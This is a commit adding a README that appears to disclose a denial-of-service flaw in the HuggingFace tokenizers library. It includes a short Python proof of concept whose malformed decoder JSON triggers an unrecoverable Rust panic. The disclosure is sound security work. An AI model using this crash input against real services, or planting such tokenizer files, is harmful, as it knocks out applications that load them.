Upload README.md with huggingface_hub
Browse files
README.md
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# tokenizers-decoder-panic-poc
|
| 2 |
+
|
| 3 |
+
**PoC for:** Denial of Service via Rust Panic in HuggingFace tokenizers Decoder Deserialization
|
| 4 |
+
|
| 5 |
+
**Impact:** Loading this `tokenizer.json` file causes an unrecoverable Rust panic (SIGABRT) at `decoders/mod.rs:90`, crashing any application that uses `huggingface/tokenizers`.
|
| 6 |
+
|
| 7 |
+
**File:** `tokenizer.json` — contains malformed `decoder` field that triggers `.expect("Helper")` panic.
|
| 8 |
+
|
| 9 |
+
**Affected versions:** 0.1.0 through latest (0.23.2-dev.0)
|
| 10 |
+
|
| 11 |
+
**Root cause:** `decoders/mod.rs` line 90 uses `.expect("Helper")` instead of proper `?` error handling.
|
| 12 |
+
|
| 13 |
+
**PoC:**
|
| 14 |
+
```python
|
| 15 |
+
from tokenizers import Tokenizer
|
| 16 |
+
Tokenizer.from_str('{"decoder":[}}}')
|
| 17 |
+
# Result: thread 'main' panicked at tokenizers/src/decoders/mod.rs:90:63:
|
| 18 |
+
# "Helper: Error(\"expected value\", line: 1, column: 13)"
|
| 19 |
+
```
|